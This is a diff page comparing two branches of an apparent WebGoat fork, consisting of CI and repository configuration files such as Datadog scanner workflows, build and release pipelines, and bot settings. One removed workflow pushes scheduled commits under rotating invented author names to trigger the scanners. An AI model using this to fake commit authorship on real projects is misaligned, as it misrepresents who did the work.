Compare commits
No commits in common. "main" and "vtest7" have entirely different histories.
@ -1,4 +0,0 @@
|
||||
**
|
||||
|
||||
!/target
|
||||
!/config/desktop
|
@ -1,15 +0,0 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
indent_size = 4
|
||||
indent_style = space
|
||||
insert_final_newline = true
|
||||
max_line_length = 120
|
||||
tab_width = 4
|
||||
ij_continuation_indent_size = 8
|
||||
ij_formatter_off_tag = @formatter:off
|
||||
ij_formatter_on_tag = @formatter:on
|
||||
ij_formatter_tags_enabled = false
|
||||
ij_java_names_count_to_use_import_on_demand = 999
|
@ -1,18 +0,0 @@
|
||||
on: [push]
|
||||
|
||||
name: DDSCA
|
||||
|
||||
jobs:
|
||||
software-composition-analysis:
|
||||
runs-on: ubuntu-latest
|
||||
name: Datadog SBOM Generation and Upload
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
- name: Check imported libraries are secure and compliant
|
||||
id: datadog-software-composition-analysis
|
||||
uses: DataDog/datadog-sca-github-action@main
|
||||
with:
|
||||
dd_api_key: ${{ secrets.DD_API_KEY }}
|
||||
dd_app_key: ${{ secrets.DD_APP_KEY }}
|
||||
dd_site: datadoghq.com
|
@ -1,21 +0,0 @@
|
||||
on: [push]
|
||||
|
||||
name: DDSDS
|
||||
|
||||
jobs:
|
||||
static-analysis:
|
||||
runs-on: ubuntu-latest
|
||||
name: Datadog Static Analyzer
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
- name: Check code for comitted secrets
|
||||
id: datadog-static-analysis
|
||||
uses: DataDog/datadog-static-analyzer-github-action@v1
|
||||
with:
|
||||
dd_api_key: ${{ secrets.DD_API_KEY }}
|
||||
dd_app_key: ${{ secrets.DD_APP_KEY }}
|
||||
dd_site: datadoghq.com
|
||||
secrets_enabled: true
|
||||
static_analysis_enabled: false
|
||||
cpu_count: 2
|
@ -1,23 +0,0 @@
|
||||
on: [push]
|
||||
|
||||
name: DDSAST
|
||||
|
||||
jobs:
|
||||
static-analysis:
|
||||
runs-on: ubuntu-latest
|
||||
name: Datadog Static Analyzer
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
- name: Check code meets quality and security standards
|
||||
id: datadog-static-analysis
|
||||
uses: DataDog/datadog-static-analyzer-github-action@v1
|
||||
with:
|
||||
dd_api_key: ${{ secrets.DD_API_KEY }}
|
||||
dd_app_key: ${{ secrets.DD_APP_KEY }}
|
||||
dd_site: datadoghq.com
|
||||
cpu_count: 8
|
||||
env:
|
||||
DD_API_KEY: ${{ secrets.DD_API_KEY }}
|
||||
DD_APP_KEY: ${{ secrets.DD_APP_KEY }}
|
||||
DD_SITE: datadoghq.com
|
@ -1,171 +0,0 @@
|
||||
name: Scheduled Fake Commits
|
||||
|
||||
on:
|
||||
# Trigger the workflow on a schedule.
|
||||
schedule:
|
||||
# This expression means "run every 3 minutes". Useful for testing.
|
||||
# To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
|
||||
- cron: "0 */12 * * *" # Original schedule: every 8 hours
|
||||
|
||||
# To trigger manually for testing, you can add workflow_dispatch:
|
||||
# workflow_dispatch:
|
||||
|
||||
jobs:
|
||||
create_scheduled_commits:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
# Fetch the full history to ensure pushes work correctly
|
||||
fetch-depth: 0
|
||||
# Use a token with write access. This should be stored as a secret in your Gitea repo settings.
|
||||
# The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
|
||||
# Ensure you have a secret named GITEA_TOKEN with appropriate permissions (including write:actions or api)
|
||||
token: ${{ secrets.GLOBAL_KEY }} # Replace GITEA_TOKEN with the name of your secret
|
||||
|
||||
- name: Set up Git config
|
||||
# Configure Git user details globally for the runner
|
||||
run: |
|
||||
echo "setting up git config"
|
||||
git config --global user.name "Gitea Actions Bot"
|
||||
git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
|
||||
echo "git config setup complete"
|
||||
|
||||
- name: Create and Push Commits and Trigger Workflows
|
||||
id: push_commits_and_trigger # Updated ID
|
||||
env:
|
||||
# Define your list of authors here. Each author should be on a new line,
|
||||
# formatted as "Author Name <author@email.com>".
|
||||
# For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
|
||||
# For debugging, you can define it directly here as you have done.
|
||||
AUTHOR_LIST: |
|
||||
Author One <author1@example.com>
|
||||
Author Two <author2@example.com>
|
||||
Author Three <author3@example.com>
|
||||
Author Four <author4@example.com>
|
||||
Author Five <author5@example.com>
|
||||
Author Six <author6@example.com>
|
||||
Author Seven <author7@example.com>
|
||||
Author Eight <author8@example.com>
|
||||
Author Nine <author9@example.com>
|
||||
Author Ten <author10@example.com>
|
||||
DWSAuthor One <dwsauthor1@example.com>
|
||||
DWSAuthor Two <dwsauthor2@example.com>
|
||||
DWSAuthor Three <dwsauthor3@example.com>
|
||||
DWSAuthor Four <autdwshor4@example.com>
|
||||
DWSAuthor Five <autdwshor5@example.com>
|
||||
DWSAuthor Six <autdwshor6@example.com>
|
||||
DWSAuthor Seven <adwsuthor7@example.com>
|
||||
DWSAuthor Eight <adwsuthor8@example.com>
|
||||
DWSAuthor Nine <autdwshor9@example.com>
|
||||
DWSAuthor Ten <autdwshor10@example.com>
|
||||
COMMIT_COUNT: 3 # Number of commits to create
|
||||
SLEEP_SECONDS: 150 # Delay between commits in seconds
|
||||
TARGET_BRANCH: main # The branch to commit to and trigger workflows on
|
||||
GITEA_BASE_URL: https://git.dws.rip # Replace with your Gitea instance URL
|
||||
REPO_OWNER: dubey # Replace with your repository owner/organization
|
||||
REPO_NAME: WebGoat # Replace with your repository name
|
||||
# Define a space-separated list of workflow names to trigger
|
||||
WORKFLOW_NAMES: "DDSAST DDSDS DDSCA" # Replace with the actual names of your workflows
|
||||
|
||||
run: |
|
||||
echo "starting Create and Push Commits and Trigger Workflows step"
|
||||
echo "AUTHOR_LIST content:"
|
||||
# Mask sensitive content if AUTHOR_LIST were a secret, but here it's in the workflow file for debugging
|
||||
# echo "$AUTHOR_LIST" | sed 's/@[^>]*>/@***/g' # Example masking
|
||||
|
||||
echo "reading author's list into array"
|
||||
# Read authors into a Bash array using readarray
|
||||
readarray -t authors <<< "$AUTHOR_LIST"
|
||||
echo "finished reading author's list into array"
|
||||
|
||||
# Check if authors list is empty
|
||||
if [ ${#authors[@]} -eq 0 ]; then
|
||||
echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Shuffle the authors array to randomize the order
|
||||
authors=($(printf "%s\n" "${authors[@]}" | shuf))
|
||||
|
||||
# Read workflow names into a Bash array
|
||||
IFS=' ' read -r -a workflow_array <<< "$WORKFLOW_NAMES"
|
||||
echo "Workflows to trigger: ${workflow_array[@]}"
|
||||
|
||||
echo "Starting commit creation process..."
|
||||
echo "Authors available: ${#authors[@]}"
|
||||
echo "Commits to create: $COMMIT_COUNT"
|
||||
echo "Delay between commits: $SLEEP_SECONDS seconds"
|
||||
echo "Target branch: $TARGET_BRANCH"
|
||||
|
||||
# Loop to create the specified number of commits
|
||||
for i in $(seq 1 $COMMIT_COUNT); do
|
||||
# Calculate the index for the current author, cycling through the list
|
||||
author_index=$(( (i - 1) % ${#authors[@]} ))
|
||||
current_author="${authors[$author_index]}"
|
||||
|
||||
echo "Processing author: $current_author" # Debug echo
|
||||
|
||||
# Extract name and email from the author string
|
||||
# Assumes format "Name <email>"
|
||||
author_name=$(echo "$current_author" | sed -E 's/^(.*) <.*>$/\1/')
|
||||
author_email=$(echo "$current_author" | sed -E 's/^.* <(.*)>$/\1/')
|
||||
|
||||
echo "Extracted name: $author_name, email: $author_email" # Debug echo
|
||||
|
||||
echo "--- Creating commit $i of $COMMIT_COUNT by $author_name ---"
|
||||
|
||||
# Configure git user for this specific commit
|
||||
git config user.name "$author_name"
|
||||
git config user.email "$author_email"
|
||||
|
||||
# Create a dummy change: append current timestamp and author to a file
|
||||
# This ensures there's always something to commit
|
||||
echo "$(date): Commit $i by $author_name" >> fake_commit_log.txt
|
||||
|
||||
# Stage the changes
|
||||
git add fake_commit_log.txt
|
||||
|
||||
# Commit the changes
|
||||
git commit -m "Automated commit $i by $author_name"
|
||||
|
||||
# Push the commit to the target branch
|
||||
# Use --set-upstream origin $TARGET_BRANCH on the first push if needed
|
||||
echo "Pushing commit..."
|
||||
git push origin HEAD:$TARGET_BRANCH
|
||||
|
||||
echo "Commit $i pushed successfully."
|
||||
|
||||
# --- Trigger the other workflows after each successful push ---
|
||||
echo "Triggering specified workflows on branch '$TARGET_BRANCH' for commit $i..."
|
||||
|
||||
# Loop through the list of workflow names and trigger each one
|
||||
for workflow_name in "${workflow_array[@]}"; do
|
||||
echo "Attempting to trigger workflow: $workflow_name"
|
||||
# Construct the API URL
|
||||
API_URL="${GITEA_BASE_URL}/api/v1/repos/${REPO_OWNER}/${REPO_NAME}/actions/workflows/${workflow_name}/dispatches"
|
||||
|
||||
# Use curl to send the API request
|
||||
# Requires a GITEA_TOKEN with write:actions or api scope
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer ${{ secrets.GLOBAL_KEY }}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"ref": "'"$TARGET_BRANCH"'"}' \
|
||||
"$API_URL"
|
||||
|
||||
echo "Workflow trigger request sent for workflow '$workflow_name' for commit $i."
|
||||
done
|
||||
echo "Finished triggering workflows for commit $i."
|
||||
# --- End Trigger ---
|
||||
|
||||
|
||||
# Wait for the specified delay before the next commit, unless it's the last one
|
||||
if [ $i -lt $COMMIT_COUNT ]; then
|
||||
echo "Waiting for $SLEEP_SECONDS seconds before the next commit..."
|
||||
sleep $SLEEP_SECONDS
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Finished creating $COMMIT_COUNT commits and triggering workflows."
|
1
.github/FUNDING.yml
vendored
1
.github/FUNDING.yml
vendored
@ -1 +0,0 @@
|
||||
custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat
|
17
.github/dependabot.yml
vendored
17
.github/dependabot.yml
vendored
@ -1,14 +1,7 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
- package-ecosystem: "maven"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
- package-ecosystem: "docker"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
# Maintain dependencies for GitHub Actions
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "daily"
|
10
.github/lock.yml
vendored
10
.github/lock.yml
vendored
@ -1,10 +0,0 @@
|
||||
---
|
||||
daysUntilLock: 365
|
||||
skipCreatedBefore: false
|
||||
exemptLabels: []
|
||||
lockLabel: false
|
||||
lockComment: >
|
||||
This thread has been automatically locked because it has not had
|
||||
recent activity after it was closed. :lock: Please open a new issue
|
||||
for regressions or related bugs.
|
||||
setLockReason: false
|
10
.github/stale.yml
vendored
10
.github/stale.yml
vendored
@ -1,10 +0,0 @@
|
||||
---
|
||||
daysUntilStale: 90
|
||||
daysUntilClose: 14
|
||||
onlyLabels:
|
||||
- waiting for input
|
||||
- wontfix
|
||||
staleLabel: stale
|
||||
markComment: >
|
||||
This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
|
||||
closeComment: false
|
54
.github/workflows/branchbuild.txt
vendored
54
.github/workflows/branchbuild.txt
vendored
@ -1,54 +0,0 @@
|
||||
name: "Branch build"
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- "*"
|
||||
- "!main"
|
||||
|
||||
jobs:
|
||||
branch-build:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ ubuntu-latest, windows-latest, macos-latest ]
|
||||
java-version: [ 21 ]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set up JDK ${{ matrix.java-version }}
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: ${{ matrix.java-version }}
|
||||
architecture: x64
|
||||
- name: Cache Maven packages
|
||||
uses: actions/cache@v3.3.1
|
||||
with:
|
||||
path: ~/.m2
|
||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||
restore-keys: ${{ runner.os }}-m2-
|
||||
- name: Build with Maven
|
||||
run: mvn --no-transfer-progress verify
|
||||
- name: "Set up QEMU"
|
||||
if: runner.os == 'Linux'
|
||||
uses: docker/setup-qemu-action@v2.2.0
|
||||
- name: "Set up Docker Buildx"
|
||||
if: runner.os == 'Linux'
|
||||
uses: docker/setup-buildx-action@v2
|
||||
- name: "Verify Docker WebGoat build"
|
||||
if: runner.os == 'Linux'
|
||||
uses: docker/build-push-action@v5.1.0
|
||||
with:
|
||||
context: ./
|
||||
file: ./Dockerfile
|
||||
push: false
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
- name: "Verify Docker WebGoat desktop build"
|
||||
uses: docker/build-push-action@v5.1.0
|
||||
if: runner.os == 'Linux'
|
||||
with:
|
||||
context: ./
|
||||
file: ./Dockerfile_desktop
|
||||
push: false
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
86
.github/workflows/build.yml
vendored
86
.github/workflows/build.yml
vendored
@ -1,51 +1,41 @@
|
||||
name: "Main / Pull requests build"
|
||||
name: "Build"
|
||||
on:
|
||||
pull_request:
|
||||
paths-ignore:
|
||||
- '.txt'
|
||||
- 'LICENSE'
|
||||
- 'docs/**'
|
||||
branches: [ main ]
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
push:
|
||||
branches: [ '*' ]
|
||||
tags-ignore:
|
||||
- '*'
|
||||
|
||||
jobs:
|
||||
pre-commit:
|
||||
name: Pre-commit check
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout git repository
|
||||
uses: actions/checkout@v4.1.6
|
||||
- name: Setup python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: "3.9"
|
||||
- uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: '23'
|
||||
- name: Pre-commit checks
|
||||
uses: pre-commit/action@v3.0.1
|
||||
- name: pre-commit-c-lite
|
||||
uses: pre-commit-ci/lite-action@v1.1.0
|
||||
if: always()
|
||||
build:
|
||||
runs-on: ${{ matrix.os }}
|
||||
needs: [ pre-commit ]
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
os: [ windows-latest, ubuntu-latest, macos-13 ]
|
||||
max-parallel: 1
|
||||
steps:
|
||||
- uses: actions/checkout@v4.1.6
|
||||
- name: Set up JDK 23
|
||||
uses: actions/setup-java@v4.2.1
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 23
|
||||
architecture: x64
|
||||
cache: 'maven'
|
||||
- name: Build with Maven
|
||||
run: mvn --no-transfer-progress verify
|
||||
build:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
java: [11, 15]
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: Set up JDK ${{ matrix.java }}
|
||||
uses: actions/setup-java@v1
|
||||
with:
|
||||
java-version: ${{ matrix.java }}
|
||||
architecture: x64
|
||||
- name: Cache Maven packages
|
||||
uses: actions/cache@v2.1.4
|
||||
with:
|
||||
path: ~/.m2
|
||||
key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||
restore-keys: ${{ runner.os }}-m2
|
||||
- name: Build with Maven
|
||||
run: mvn clean install
|
||||
|
||||
notify-slack:
|
||||
if: github.event_name == 'push' && (success() || failure())
|
||||
needs:
|
||||
- build
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: "Slack workflow notification"
|
||||
uses: Gamesight/slack-workflow-status@master
|
||||
with:
|
||||
repo_token: ${{secrets.GITHUB_TOKEN}}
|
||||
slack_webhook_url: ${{secrets.SLACK_WEBHOOK_URL}}
|
19
.github/workflows/rebase.yml
vendored
Normal file
19
.github/workflows/rebase.yml
vendored
Normal file
@ -0,0 +1,19 @@
|
||||
name: "Automatic Rebase"
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
jobs:
|
||||
rebase:
|
||||
name: Rebase
|
||||
if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout the latest code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
token: ${{ secrets.GITHUB_TOKEN }}
|
||||
fetch-depth: 0 # otherwise, you will fail to push refs to dest repo
|
||||
- name: Automatic Rebase
|
||||
uses: cirrus-actions/rebase@1.4
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
235
.github/workflows/release.yml
vendored
235
.github/workflows/release.yml
vendored
@ -4,140 +4,125 @@ on:
|
||||
tags:
|
||||
- v*
|
||||
jobs:
|
||||
release:
|
||||
if: github.repository == 'WebGoat/WebGoat'
|
||||
name: Release WebGoat
|
||||
# release:
|
||||
# name: Release WebGoat
|
||||
# runs-on: ubuntu-latest
|
||||
# steps:
|
||||
# - uses: actions/checkout@v2
|
||||
#
|
||||
# - name: "Get tag name"
|
||||
# id: tag
|
||||
# uses: dawidd6/action-get-tag@v1
|
||||
#
|
||||
# - name: Set up JDK 11
|
||||
# uses: actions/setup-java@v1
|
||||
# with:
|
||||
# java-version: 11
|
||||
# architecture: x64
|
||||
#
|
||||
# - name: Cache Maven packages
|
||||
# uses: actions/cache@v2.1.4
|
||||
# with:
|
||||
# path: ~/.m2
|
||||
# key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
|
||||
# restore-keys: ${{ runner.os }}-m2
|
||||
#
|
||||
# - name: "Set labels for ${{ github.ref }}"
|
||||
# run: |
|
||||
# echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
|
||||
# WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
|
||||
# echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
||||
# - name: Build with Maven
|
||||
# run: |
|
||||
# mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
# mvn clean install -DskipTests
|
||||
#
|
||||
# - name: "Create release"
|
||||
# uses: softprops/action-gh-release@v1
|
||||
# with:
|
||||
# draft: false
|
||||
# files: |
|
||||
# webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
||||
# webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
||||
# body: |
|
||||
# ## Version ${{ steps.tag.outputs.tag }}
|
||||
#
|
||||
# ### New functionality
|
||||
#
|
||||
# - test
|
||||
#
|
||||
# ### Bug fixes
|
||||
#
|
||||
# - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
||||
#
|
||||
#
|
||||
# ## Contributors
|
||||
#
|
||||
# Special thanks to the following contributors providing us with a pull request:
|
||||
#
|
||||
# - Person 1
|
||||
# - Person 2
|
||||
#
|
||||
# And everyone who provided feedback through Github.
|
||||
#
|
||||
#
|
||||
# Team WebGoat
|
||||
# env:
|
||||
# GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
#
|
||||
# - name: "Set up QEMU"
|
||||
# uses: docker/setup-qemu-action@v1
|
||||
#
|
||||
# - name: "Set up Docker Buildx"
|
||||
# uses: docker/setup-buildx-action@v1
|
||||
#
|
||||
# - name: "Login to dockerhub"
|
||||
# uses: docker/login-action@v1
|
||||
# with:
|
||||
# username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
# password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
#
|
||||
# - name: "Build and push"
|
||||
# uses: docker/build-push-action@v2
|
||||
# with:
|
||||
# context: ./docker
|
||||
# file: docker/Dockerfile
|
||||
# push: false #todo enable
|
||||
# platforms: linux/amd64
|
||||
# tags: |
|
||||
# webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }}
|
||||
# webgoat/goatandwolf:latest
|
||||
# build-args: |
|
||||
# webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
#
|
||||
# - name: "Image digest"
|
||||
# run: echo ${{ steps.docker_build.outputs.digest }}
|
||||
new_version:
|
||||
name: Update development version
|
||||
# needs: [ release ]
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: write
|
||||
environment:
|
||||
name: release
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set up JDK 23
|
||||
uses: actions/setup-java@v4
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 23
|
||||
architecture: x64
|
||||
cache: 'maven'
|
||||
ref: develop
|
||||
token: ${{ env.WEBGOAT_DEPLOYER_TOKEN }}
|
||||
|
||||
- name: "Set labels for ${{ github.ref }}"
|
||||
run: |
|
||||
echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
|
||||
WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
|
||||
echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
|
||||
- name: Build with Maven
|
||||
run: |
|
||||
mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
mvn --no-transfer-progress install -DskipTests
|
||||
|
||||
- name: "Create release"
|
||||
uses: softprops/action-gh-release@v1
|
||||
- name: Set up JDK 11
|
||||
uses: actions/setup-java@v1
|
||||
with:
|
||||
draft: false
|
||||
files: |
|
||||
target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
|
||||
body: |
|
||||
## Version ${{ github.ref_name }}
|
||||
|
||||
### New functionality
|
||||
|
||||
- test
|
||||
|
||||
### Bug fixes
|
||||
|
||||
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
|
||||
|
||||
Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}
|
||||
|
||||
|
||||
## Contributors
|
||||
|
||||
Special thanks to the following contributors providing us with a pull request:
|
||||
|
||||
- Person 1
|
||||
- Person 2
|
||||
|
||||
And everyone who provided feedback through Github.
|
||||
|
||||
|
||||
Team WebGoat
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
|
||||
- name: "Set up QEMU"
|
||||
uses: docker/setup-qemu-action@v3.6.0
|
||||
with:
|
||||
platforms: all
|
||||
|
||||
- name: "Set up Docker Buildx"
|
||||
uses: docker/setup-buildx-action@v3
|
||||
|
||||
- name: "Login to dockerhub"
|
||||
uses: docker/login-action@v3.4.0
|
||||
with:
|
||||
username: ${{ secrets.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
|
||||
- name: "Build and push WebGoat"
|
||||
uses: docker/build-push-action@v6.16.0
|
||||
with:
|
||||
context: ./
|
||||
file: ./Dockerfile
|
||||
push: true
|
||||
platforms: linux/amd64, linux/arm64
|
||||
tags: |
|
||||
webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
|
||||
webgoat/webgoat:latest
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
|
||||
- name: "Build and push WebGoat desktop"
|
||||
uses: docker/build-push-action@v6.16.0
|
||||
with:
|
||||
context: ./
|
||||
file: ./Dockerfile_desktop
|
||||
push: true
|
||||
platforms: linux/amd64, linux/arm64
|
||||
tags: |
|
||||
webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
|
||||
webgoat/webgoat-desktop:latest
|
||||
build-args: |
|
||||
webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
|
||||
new_version:
|
||||
if: github.repository == 'WebGoat/WebGoat'
|
||||
name: Update to next SNAPSHOT version
|
||||
needs: [ release ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up JDK 23
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 23
|
||||
java-version: 11
|
||||
architecture: x64
|
||||
|
||||
- name: Set version to next snapshot
|
||||
run: |
|
||||
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
|
||||
mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
|
||||
|
||||
- name: Push the changes to new branch
|
||||
uses: devops-infra/action-commit-push@v0.10.0
|
||||
with:
|
||||
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
add_timestamp: true
|
||||
commit_message: "Updating to the new development version"
|
||||
force: false
|
||||
|
||||
- name: Create PR
|
||||
uses: devops-infra/action-pull-request@v0.6.0
|
||||
with:
|
||||
github_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
title: ${{ github.event.commits[0].message }}
|
||||
target_branch: main
|
||||
- name: Commit pom.xml
|
||||
run: |
|
||||
git config user.name webgoat-github
|
||||
git config user.email owasp.webgoat@gmail.com
|
||||
find . -name 'pom.xml' | xargs git add
|
||||
git commit -m "Updating to the new development version"
|
||||
git push
|
||||
|
10
.github/workflows/welcome.yml
vendored
10
.github/workflows/welcome.yml
vendored
@ -1,17 +1,13 @@
|
||||
name: Welcome
|
||||
|
||||
on:
|
||||
issues:
|
||||
types:
|
||||
- opened
|
||||
on: [pull_request, issues]
|
||||
|
||||
jobs:
|
||||
greeting:
|
||||
if: github.repository == 'WebGoat/WebGoat'
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/first-interaction@v1.3.0
|
||||
- uses: actions/first-interaction@v1
|
||||
with:
|
||||
repo-token: ${{ secrets.GITHUB_TOKEN }}
|
||||
issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'
|
||||
pr-message: 'Thanks so much for your contribution, really appreciated! We will have a look and merge it if everything checks out!'
|
||||
pr-message: 'Thanks so much for your contribution, really appreciated! We will have a look and merge it if everything checks out!'
|
9
.gitignore
vendored
9
.gitignore
vendored
@ -39,6 +39,7 @@ UserDatabase.mv.db
|
||||
webgoat-container/src/main/webapp/users/guest.org.owasp.webgoat.plugin.*.props
|
||||
webgoat-container/src/main/webapp/plugin_lessons/dist-*.pom
|
||||
webgoat-lessons/**/target
|
||||
**/*.jar
|
||||
**/.DS_Store
|
||||
webgoat-server/mongo-data/*
|
||||
webgoat-lessons/vulnerable-components/dependency-reduced-pom.xml
|
||||
@ -53,11 +54,3 @@ webgoat.properties
|
||||
webgoat.script
|
||||
TestClass.class
|
||||
**/*.flattened-pom.xml
|
||||
/.gitconfig
|
||||
|
||||
webgoat.gitconfig
|
||||
node_modules/
|
||||
/test-results/
|
||||
/playwright-report/
|
||||
/blob-report/
|
||||
/playwright/.cache/
|
||||
|
BIN
.mvn/wrapper/maven-wrapper.jar
vendored
BIN
.mvn/wrapper/maven-wrapper.jar
vendored
Binary file not shown.
4
.mvn/wrapper/maven-wrapper.properties
vendored
4
.mvn/wrapper/maven-wrapper.properties
vendored
@ -1,2 +1,2 @@
|
||||
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.9.9/apache-maven-3.9.9-bin.zip
|
||||
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar
|
||||
distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.2.5/apache-maven-3.2.5-bin.zip
|
||||
wrapperUrl=https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.5/maven-wrapper-0.5.5.jar
|
||||
|
@ -1,28 +0,0 @@
|
||||
ci:
|
||||
autofix_commit_msg: |
|
||||
[pre-commit.ci] auto fixes from pre-commit.com hooks
|
||||
autofix_prs: false # managed in the action step
|
||||
autoupdate_branch: ""
|
||||
autoupdate_commit_msg: "[pre-commit.ci] pre-commit autoupdate"
|
||||
autoupdate_schedule: weekly
|
||||
skip: []
|
||||
submodules: false
|
||||
repos:
|
||||
- repo: https://github.com/pre-commit/pre-commit-hooks
|
||||
rev: v4.4.0
|
||||
hooks:
|
||||
- id: check-yaml
|
||||
- id: end-of-file-fixer
|
||||
exclude: ^(README.md|CREATE_RELEASE.md)
|
||||
- id: trailing-whitespace
|
||||
- repo: https://github.com/alessandrojcm/commitlint-pre-commit-hook
|
||||
rev: v9.5.0
|
||||
hooks:
|
||||
- id: commitlint
|
||||
stages: [commit-msg]
|
||||
- repo: https://github.com/ejba/pre-commit-maven
|
||||
rev: v0.3.4
|
||||
hooks:
|
||||
- id: maven
|
||||
args: [ 'clean compile' ]
|
||||
- id: maven-spotless-apply
|
@ -1,60 +0,0 @@
|
||||
